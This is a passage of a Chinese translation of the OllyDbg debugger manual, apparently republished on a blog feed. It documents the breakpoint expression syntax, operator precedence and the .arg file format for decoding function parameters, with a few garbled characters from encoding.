<p>EAX.&lt;0. - 如果EAX在0到0x7FFFFFFF之间，则值为0，否则值为1。注意0也是有符号的。当带符号数与无符号数比较时，OllyDbg会将带符号数转成无符号数。</p>
<p>EAX&lt;0 - 总为0（假），因为无符号数永远是正的。</p>
<p>MSG==111 - 如果消息为WM_COMMAND，则为真。0x0111是命令 WM_COMMAND 的数值。MSG只能用于设置在进程消息函数的条件断点内。</p>
<p>[STRING 123456]=="Brown fox" - 如果从地址0x00123456开始的内存为ASCII字符串"Brown fox"、"BROWN FOX JUMPS"、 "brown fox???"，或类似的串，那么其值为1。比较不区分大小写和文本长度。</p>
<p>EAX=="Brown fox" - 同上，EAX按指针对待。</p>
<p>UNICODE [EAX]=="Brown fox" - OllyDbg认为EAX是一个指向UNICODE串的指针，并将其转换为ASCII，然后与文本常量进行比较。</p>
<p>[ESP+8]==WM_PAINT - i在表达式中您可以使用上百种Windows API符号常量。</p>
<p>([BYTE ESI+DWORD DS:[450000+15*(EAX-1)]] &amp; 0F0)!=0 - 这绝对是个有效的表达式。</p>
<p>现在我们介绍语法格式。在大括号（{}）内的每个元素都只能出现一次，括号内的元素顺序可以交换：</p>
<p>表达式 = 内存中间码|内存中间码&lt;二元操作符&gt;内存中间码</p>
<p>内存中间码 = 中间码| { 符号标志 大小标志 前缀} [表达式 ]</p>
<p>中间码 = （表达式）| 一元操作符 内存中间码 | 带符号寄存器 | 寄存器 | FPU寄存器 | 段寄存器 | 整型常量 | 浮点常量 | 串常量 | 参数 | 伪变量</p>
<p>一元操作符 = ! | ~ | + |</p>
<p>带符号寄存器 = 寄存器.</p>
<p>寄存器 = AL | BL | CL ... | AX | BX | CX ... | EAX | EBX | ECX ...</p>
<p>FPU寄存器 = ST | ST0 | ST1 ...</p>
<p>段寄存器 = CS | DS | ES | SS | FS | GS</p>
<p>整型常量 = &lt;十进制常量&gt;. | &lt;十六进制常量&gt; | &lt;字符常量&gt; | &lt;API符号常量&gt;</p>
<p>浮点常量 = &lt;符点常量&gt;</p>
<p>串常量 = "&lt;串常量&gt;"</p>
<p>符号标志 = SIGNED | UNSIGNED</p>
<p>大小标志 = BYTE | CHAR | WORD | SHORT | DWORD | LONG | QWORD | FLOAT | DOUBLE | FLOAT10 | STRING | UNICODE</p>
<p>前缀 = 中间码:</p>
<p>参数 = %A | %B     // 仅允许在监察器［inspector］ 中使用</p>
<p>伪变量 = MSG     // 窗口消息中的代码</p>
<p>这 个语法并不严格。在解释[WORD [EAX]]或类似的表达式时会产生歧义。可以理解为以寄存器EAX所指向地址的两字节内容为地址，所指向的双字内容；也可以理解为以寄存器EAX所指向 地址的四字节内容为地址，所指向的两字节内容。而OllyDbg会将修饰符尽可能的放在地址最外面，所以在这种情况下，[WORD [EAX]] 等价于 WORD [[EAX]]。</p>
<p>默认情况下，BYTE、WORD 和 DWORD 都是无符号的，而CHAR、SHORT 和 LONG都是带符号的。也可以使用明确的修饰符SIGNED 或 UNSIGNED。例如在二元操作时，如果一个操作数是浮点的，那么另外一个就要转成浮点数；或者如果一个是无符号胆，那么另外一个要转成无符号的。浮点 类型不支持UNSIGNED。大小修饰符后面跟 MASM兼容关键字PTR（如：BYTE PTR）也允许的，也可以不要PTR。寄存器名和大小修饰符不区分大小写。</p>
<p>您可以使用下面类C的运算符（0级最高）：</p>
<p>优先级     类型     运算符<br />
0     一元运算符     ! ~ + -<br />
1     乘除运算     * / %<br />
2     加减运算     + -<br />
3     位移动     &lt;&lt; &gt;&gt;<br />
4     比较     &lt; &lt;= &gt; &gt;=<br />
5     比较     == !=<br />
6     按位与     &amp;<br />
7     按位异或     ^<br />
8     按位或     |<br />
9     逻辑与     &amp;&amp;<br />
10     逻辑或     ||<br />
在 计算时，中间结果以 DWORD 或 FLOAT10 形式保存。某些类型组合和操作是不允许的。例如：QWODRD 类型只能显示；STRING 和 UNICODE 只能进行加减操作（像C语言里的指针）以及与 STRING、UNICODE 类型或串常量进行比较操作；您不能按位移动浮点［FLOAT］ 类型，等等。</p>
<p>自定义函数描述［Custom function descriptions］</p>
<p>概论［Introduction］</p>
<p>OllyDbg包含（做为内部资源）1900多种标准函数以及400多种标准C函数的名称和参数。分析器［Analyzer］ 用这些描述使被调试程序更加易懂。比较下面一个例子，分析器的函数CreateFont：</p>
<p>PUSH OT.00469F2A           ; ASCII "Times New Roman"<br />
PUSH 12<br />
PUSH 2<br />
PUSH 0<br />
PUSH 0<br />
PUSH 0<br />
PUSH 0<br />
PUSH 0<br />
MOV EAX,DWORD PTR [49FA70]<br />
PUSH EAX<br />
PUSH 190<br />
PUSH 0</p>
<p>PUSH 0<br />
PUSH 0<br />
PUSH 10<br />
CALL &lt;JMP.&amp;GDI32.CreateFontA&gt;</p>
<p>这是分析后的：</p>
<p>MOV EAX,DWORD PTR [49FA70]<br />
PUSH OT.00469F2A           ; ?FaceN, ame = "Times New Roman"<br />
PUSH 12                 ; ?PitchAndFamily = VARIABLE_PITCH|FF_ROMAN<br />
PUSH 2                 ; ?Quality = PROOF_QUALITY<br />
PUSH 0                 ; ?ClipPrecision = CLIP_DEFAULT_PRECIS<br />
PUSH 0                 ; ?OutputPrecision = OUT_DEFAULT_PRECIS<br />
PUSH 0                 ; ?CharSet = ANSI_CHARSET</p>
<p>PUSH 0                 ; ?StrikeOut = FALSE<br />
PUSH 0                 ; ?Underline = FALSE<br />
PUSH EAX               ; ?Italic =&gt; TRUE<br />
PUSH 190               ; ?Weight = FW_NORMAL<br />
PUSH 0                 ; ?Orientation = 0<br />
PUSH 0                 ; ?Escapement = 0<br />
PUSH 0                 ; ?Width = 0<br />
PUSH 10                 ; ?Height = 10 (16.)</p>
<p>CALL &lt;JMP.&amp;GDI32.CreateFontA&gt; ; ?CreateFontA</p>
<p>显然，后面的代码更容易理解。API函数CreateFont 有14个参数。分析器标记所有这些参数的名称并解码他们的值。如果寄存器跟踪开启，那么分析器同时会解码参数Italic<br />
的值为地址49FA70处双字长的内容。解码使用参数的真实值，所以如果[49FA70]里的内容改变了，那么参数Italic的值也会随之改变。当EIP指向跳转或调用该函数的命令，或指向入口时，OllyDbg也会在栈中对已知函数的参数进行解码。</p>
<p>OllyDbg可以对像printf()这样参数个数可变的函数进行参数解码：</p>
<p>PUSH EAX               ; ?&lt;%.*s&gt;<br />
PUSH E8                 ; ?&lt;*&gt; = E8 (232.)<br />
PUSH EBX               ; ?&lt;%08X&gt;<br />
PUSH Mymodule.004801D2       ; ?format = "Size %08X (%.*s) bytes"<br />
PUSH ESI               ; ?s<br />
CALL Mymodule.sprintf       ; ?sprintf</p>
<p>您 可以定义自己的函数。每次您打开某个应用程序时，OllyDbg都会重新设置函数参数表并用内嵌描述添充这个表。然后尝试打开文件“&lt; OllyDbg目录&gt;\common.arg”和“&lt;OllyDbg目录&gt;\&lt;应用程序名&gt;.arg”，这里&lt;应用 程序名&gt;使用8.3格式（DOS）被调试程序文件名（不带路径和扩展名）。</p>
<p>下面看一个简单的.arg文件实例：</p>
<p>INFO Simple .ARG file that decodes CreateHatchBrush<br />
TYPE HS_X<br />
IF 0 "HS_HORIZONTAL"<br />
IF 1 "HS_VERTICAL"<br />
IF 2 "HS_FDIAGONAL"<br />
IF 3 "HS_BDIAGONAL"<br />
IF 4 "HS_CROSS"<br />
IF 5 "HS_DIAGCROSS"<br />
ELSEINT<br />
END<br />
TYPE COLORREF<br />
IF 0 "&lt;BLACK&gt;"<br />
IF 00FFFFFF "&lt;WHITE&gt;"<br />
OTHERWISE<br />
TEXT "RGB("<br />
FIELD 000000FF<br />
UINT<br />
TEXT ","</p>
<p>FIELD 0000FF00<br />
UINT<br />
TEXT ","<br />
FIELD 00FF0000<br />
UINT<br />
TEXT ""<br />
END<br />
STDFUNC CreateHatchBrush<br />
"style" HS_X<br />
"colorref" COLORREF<br />
END</p>
<p>标准Windos API函数CreateHatchBrush(int style,int colorref) 有两个参数。第一个必须是阴影风格［hatch style］，第二个是常量由红色、绿色、蓝色组成，并用一个32<br />
位整数的低三字节表示。为了解码这些参数，文件定义了两个新的参数类型：HS_X 和 COLORREF。</p>
<p>阴 影风格是一个简单的枚举类型，如0表示HS_HORIZONTAL（水平风格）、1表示HS_VERTICAL（垂直风格）。IF关键字比较参数与第一个 操作数（注意：其总是十六进制的），如果相同则显示第二个操作数里的文本。但万一匹配失败会如何？关键字ELSEINT 会然OllyDbg会将参数解释为一个整数。</p>
<p>COLORREF 更复杂一些。首先尝试解码两个广泛使用的颜色值：黑（全0组成）与白（全0xFF组成）。如果匹配失败，COLORREF尝试解码颜色为一个结构包含红、 绿、蓝的亮度。FIELD会用第一个操作数与参数进行逻辑与操作。然后转换结果为整数，并同时按位右移第一个操作及该整数，直到第一个操作数的二进制个位 数字为1，这时整数按位右移的结果以无符号10进制显示出来。这个例子做了三次这样的操作，以分离出每个颜色成份。TEXT关键字用于无条件显示文本。如 果参数为00030201，那么<br />
COLORREF将其解码为RGB(1.,2.,3.)。</p>
<p>大多断API函数都会从栈中移除参数并保护寄存器EBX, EBP, ESI 和 EDI。声明这样的函数为STDFUNC，以告诉分析器该函数做了这样的事情。否则请其描述为FUNCTION<br />
。</p>
<p>万一某个参数由多个域及比特值组成，比如上面提到的fdwPitchAndFamily ，我们该怎么办？请看下面这个例子：</p>
<p>TYPE FF_PITCH<br />
MASK 03<br />
IF 00 "DEFAULT_PITCH"<br />
IF 01 "FIXED_PITCH"<br />
IF 02 "VARIABLE_PITCH"<br />
ELSEHEX<br />
TEXT "|"<br />
MASK 0C<br />
BIT 04 "4|"<br />
BIT 08 "8|"<br />
MASK FFFFFFF0<br />
IF 00 "FF_DONTCARE"<br />
IF 10 "FF_ROMAN"<br />
IF 20 "FF_SWISS"<br />
IF 30 "FF_MODERN"<br />
IF 40 "FF_SCRIPT"<br />
IF 50 "FF_DECORATIVE"<br />
ELSEHEX<br />
END</p>
<p>前两个比特位（第0和等1位）表示倾斜度，必须一起解码。我们使用 MASK 03 来提取这两个比特并通过IF序列来解码。增加了连接符“|”，分别提取第2和第3个比特位，并分别单独解码。最后提取剩余部分并进行解码。</p>
<p>OllyDbg 会移除生成串尾部的连接符“|”、空格、冒号、逗号、分号和等号。</p>
<p>目前版本的分析仅能够解码32位参数。如您不能解码双精度浮点或长双精度浮点的函数参数。</p>
<p>格式描述</p>
<p>自定**码信息由函数描述和类型描述两部分组成。函数描述部分非常的简单：</p>
<p>FUNCTION|STDFUNC [模块名]函数名<br />
&lt;第一个参数的名称&gt; &lt;第一个参数的类型&gt;<br />
……<br />
&lt;最后一个参数的名称&gt; &lt;最后一个参数的类型&gt;<br />
END</p>
<p>如 果函数从栈中移除参数并保护寄存器EBX, EBP, ESI 和 EDI，请使用关键字STDFUNC。大多少函数都遵循这样的规则。其他情况则声明为FUNCTION。模块（EXE 或 DLL）名是可选的。如果模块名被忽略，OllyDbg会对尝试匹配任何模块。模块名不区分大小写。</p>
<p>函数名称总是区分大小写的。有针对UNICODE的函数必须使用后缀 A 或 W 加以区分，比如SetWindowTextA.。</p>
<p>参 数的顺序又C风格的参数使用惯例一致。而16位Windows和32位API函数也是按惯例使用。如果参数名由多个字组成，或者包含特殊字符，那么请将其 用两个单引号引起来。与在C语言中一样，省略号（叄┦且桓鎏厥獾募锹加糜诒硎静问靠杀洹Ｋ匦朐诤枋龅淖詈蟆llyDbg不会尝试解码这样的参 数。如果函数的参数为空，则按functionname(void)对待</p>
<p>OllyDbg 仅支持32位的参数。某些参数已经预定义好了：</p>
<p>INT         以十六进制和带符号整数两种格式显示值<br />
UINT         以十六进制和无符号整数两种格式显示值<br />
HEX         以十六进制格式显示值<br />
BOOL         TRUE 或 FALSE<br />
CHAR     ASCII 字符<br />
WCHAR     UNICODE 字符<br />
FLOAT     32位浮点数<br />
ERRCODE     系统错误代码（像由函数GetLastError()报告的）<br />
ADDR, PTR         地址（特殊情况：NULL）<br />
ASCII               ASCII 串指针<br />
UNICODE             UNICODE 串指针<br />
FORMAT     在类似函数printf()（不包括wscanfW()！）使用的 ASCII 格式串<br />
WFORMAT     类似函数wsprintfW()（不包括scanf()！）使用的 UNICODE 格式串<br />
RECT     RECT（矩形）结构指针<br />
MESSAGE     MSG（ASCII 窗口消息）结构指针<br />
WMESSAGE     MSG（UNICODE 窗口消息）结构指针<br />
HANDLE         句柄（特殊情况：NULL, ERROR_INVALID_HANDLE）<br />
HWND     窗口句柄<br />
HMODULE     模块句柄<br />
RSRC_STRING           带索引的资源串<br />
NULL, DUMMY               有参数，但解码时跳过了<br />
您不能重定义预定义类型。自定义类型允许您将参数分离成几个域并分别解码。类型描述有以下几种格式：</p>
<p>TYPE 类型名<br />
[TEXT "任何文本"]<br />
[&lt;域选择器&gt;]<br />
&lt;域解码&gt;<br />
&lt;域解码&gt;<br />
[TEXT "任何文本"]<br />
[PURGE]<br />
...<br />
&lt;域选择器&gt;<br />
&lt;域解码&gt;<br />
&lt;域解码&gt;<br />
[TEXT "任何文本"]<br />
END</p>
<p>类型名的程度限制在16个字符以内。 OllyDbg会无条件将"任何文本"作为生成的解码。域选择器提取一部分参数用于解码。以下域选择器，可以用于提取域：</p>
<p>MASK 十六进制掩码 - 域等于参数同十六进制掩码按位与（AND）的结果。</p>
<p>FIELD 十六进制掩码 - 参数同十六进制掩码按位与（AND）的数值，然后OllyDbg同时按位右移掩码和计算的数值直到掩码的二进制个位为1，这时数值按位右移的结果就是域的值。例如参数0xC250， FIELD F0，得到的结果是5。</p>
<p>SIGFIELD 十六进制掩码 -参数同十六进制掩码按位与（AND）的数值，然后OllyDbg同时按位右移掩码和计算的数值直到掩码的二进制个位为1，这时数值按位右移的结果转成带 符号32位数就是域的值。例如参数0xC250 ，SIGFIELD FF00，得到的结果是0xFFFFFFC2。</p>
<p>简单域的解码会一次显示整个域的内容：</p>
<p>HEX - 以十六进制形式显示域内容；</p>
<p>INT - 以带符号十进制形式显示域内容（带小数点）；</p>
<p>UINT -以无符号十进制形式显示域内容（带小数点）；</p>
<p>CHAR - 以 ASCII 字符形式显示域内容。</p>
<p>域若是一个枚举类型，则可以使用IF序列，如果必要的话还可以在IF序列后跟关键字 TRYxxx 与 ELSExxx：</p>
<p>IF 十六进制值 "文本" - 如果域等于十六进制值，则将文本作为输出字符串；</p>
<p>TRYASCII - 如果域是一个指向ASCII串的指针，则显示这个串；</p>
<p>TRYUNICODE - 如果域是一个指向UNICODE串的指针，则显示这个串；</p>
<p>TRYORDINAL - 如果域是一序号（有16位均为0），则会显示为序号（“#”后跟整数）；</p>
<p>OTHERWISE - 如果前面IF语句为真，则停止解码，否则继续解码；</p>
<p>ELSEINT - 如果前面所有的 IF 和 TRYxxx 语句均失败，则以带符号十进制数形式（带小数点）显示这个域；</p>
<p>ELSEHEX -如果前面所有的 IF 和 TRYxxx 语句均为失败，则以十六进制形式显示这个域；</p>
<p>ELSECHAR -如果前面所有的 IF 和 TRYxxx 语句均为失败，则以 ASCII 字符形式显示这个域；</p>
<p>ELSEWCHAR -如果前面所有的 IF 和 TRYxxx 语句均为失败，则以 UNICODE 字符形式显示这个域。</p>
<p>如果域是一个二进制位集，则可以使用BIT序列，如果必要的话可以后面跟关键字 BITZ 与 BITHEX ：</p>
<p>BIT 十六进制掩码 "文本" - 如果值与十六进制掩码按位与（AND）的结果不是0，则将文本做为输出串；</p>
<p>BITZ十六进制掩码 "文本" - 如果值与十六进制掩码按位与（AND）的结果是0，则将文本做为输出串；</p>
<p>BITHEX十六进制掩码 - 如果值与十六进制掩码按位与（AND）的结果不是0，则将结果以十六进制形式显示。</p>
<p>特殊关键字 PURGE 会从输出串尾部移除以下几种符号：</p>
<p>空格     '' ''<br />
逗号     '',''<br />
或     ''|''<br />
冒号     '':''<br />
等于     ''=''<br />
这会让某些解码情况变的简单。关键字END是类型定义结尾标记并会自动运行PURGE命令。</p>
<p>预编译类型</p>
<p>OllyDbg在预编译资源时，已经包含150多种类型描述。以下列出了一部分。您可以在自定义文件中直接使用这些类型：</p>
<p>LANG_X - 操作系统语言ID（0 - 未知、 9 - 语言、 C - 法语，等等）</p>
<p>GENERIC_X - 访问类型（GENERIC_READ, GENERIC_WRITE...）</p>
<p>FILE_SHARE_X - 共享类型（FILE_SHARE_READ, FILE_SHARE_WRITE）</p>
<p>CreateFILE_X - 文件创建模式（Create_NEW, OPEN_EXISTING...）</p>
<p>FILE_ATTRIBUTE_X - 文件属性（READONLY, SYSTEM, Delete_ON_CLOSE...）</p>
<p>RT_AXX - 资源类型（RT_CURSOR, RT_GROUP_ICON, ASCII string...）</p>
<p>RT_WXX - 资源类型（RT_CURSOR, RT_GROUP_ICON, UNICODE string...）</p>
<p>COORD - 坐标结构 "(X=xxx,Y=yyy)"</p>
<p>STD_IO_X - 标准句柄（STD_INPUT_HANDLE, STD_ERROR_HANDLE...）</p>
<p>GMEM_X - 全局内存类型（GMEM_FIXED, GPTR...）</p>
<p>LMEM_X - 局部内存类型（LMEM_FIXED, LPTR...）</p>
<p>FSEEK_X - 文件查找类型（FILE_BEGIN, FILE_CURRENT...）</p>
<p>OF_X - 文件模式（fOF_READ, OF_SHARE_COMPAT, OF_VERIFY...）</p>
<p>O_X - 文件创建模式（O_RDONLY, O_BINARY, SH_COMPAT...）</p>
<p>SEMAPHORE_X - 信号量类型（SEMAPHORE_ALL_ACCESS, SYNCHRONIZE...）</p>
<p>SLEEP_TIMEOUT - 超时（INFINITE 或时间）</p>
<p>ROP - 一些标准柵格运算标志代码（ROP）(SRCCOPY, MERGEPAINT...)</p>
<p>COLORREF - RGB 颜色值（"&lt;WHITE&gt;", "RGB(rr.,gg.,bb.)"...）</p>
<p>WS_X - 窗口风格（WS_OVERLAPPED, WS_POPUP...）</p>
<p>WS_EX_X - 扩展窗口风格（WS_EX_DLGMODALFRAME, WS_EX_TOPMOST...）</p>
<p>MF_X - 菜单标志（MF_BYPOSITION, MF_ENABLED...）</p>
<p>WM_X - ASCII窗口消息类型（WM_Create, WM_KILLFOCUS, CB_SETCURSEL...）</p>
<p>WM_W - UNICODE窗口消息类型（WM_Create, WM_KILLFOCUS, CB_SETCURSEL...）</p>
<p>VK_X - 虚拟键盘代码（VK_LBUTTON, VK_TAB, VK_F10...）</p>
<p>MB_X - message box style (MB_OK, MB_ICONHAND...)</p>
<p>HKEY_X - 预定义注册表句柄（HKEY_CLASSES_ROOT, HKEY_LOCAL_MACHINE...）</p>
<p>还有更多的预编译类型。如果常量在它文件被定义为ABC_ xxxxxxxx，那么一般就有ABC_X预编译类型。</p>
<p>注意：<br />
1.如果OllyDbg是即时调试器，并且在Windows 95下挂接执行了DebugBreak() 的应用程序，则这个应用程序在挂接后，还会运行。在基于NT的系统下，应用程序应该会在<br />
DebugBreak()暂停。<br />
2. 命令 SMSW （保存机器状态字［Store Machine Status Word］）。 这个命令仅接受寄存器 AX 作为参数，而程序编译成EAX接受参数。</p>
<p><a href="http://wiki.mygogou.com/doc-view-697.html">wiki地址：http://wiki.mygogou.com/doc-view-697.html </a></p>
<hr /><h2>Related posts:</h2><ul><li><a href="http://clin003.com/ideas/view-some-of-the-most-detailed-maps-of-mars-created-by-nasa-scientists-1605/" rel="bookmark" title="Permanent Link: 今日杂碎：用Google看火星">今日杂碎：用Google看火星</a></li><li><a href="http://clin003.com/ideas/service-unavailable-and-temporary-error-1683/" rel="bookmark" title="Permanent Link: 今日杂碎：Service Unavailable">今日杂碎：Service Unavailable</a></li><li><a href="http://clin003.com/suggested-contents/beijing-2008-olympic-dr-chen-and-her-detailed-picture-of-129/" rel="bookmark" title="Permanent Link: 北京2008奥运五福娃的详细介绍和图片">北京2008奥运五福娃的详细介绍和图片</a></li><li><a href="http://clin003.com/servers/detailed-vmware-guide-61/" rel="bookmark" title="Permanent Link: 详尽VMware教程">详尽VMware教程</a></li><li><a href="http://clin003.com/pligg-use/pligg-rss-2-93/" rel="bookmark" title="Permanent Link: Pligg安装啦啦rss导入模块（Rss Importer插件的使用）">Pligg安装啦啦rss导入模块（Rss Importer插件的使用）</a></li></ul><hr /><small>Copyright &copy; 2007-2009<br /> This feed is building by <a href="http://clin003.com/">Lin's Space|Only</a> and <a href="http://hi.clin003.com/">我的爬行JI - IT资讯精读</a>.<br />本文地址：<a href="http://clin003.com/safe/ollydbg-detailed-explanation-173/" >http://clin003.com/safe/ollydbg-detailed-explanation-173/</a> <br /> <a href="http://clin003.com/safe/ollydbg-detailed-explanation-173/#comment" title="to the comments">雁过留言</a>. (Digital Fingerprint: 850cee8la75i9f3ne9c0dd80e31392be)</small>]]></content:encoded>
			<wfw:commentRss>http://clin003.com/safe/ollydbg-detailed-explanation-173/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
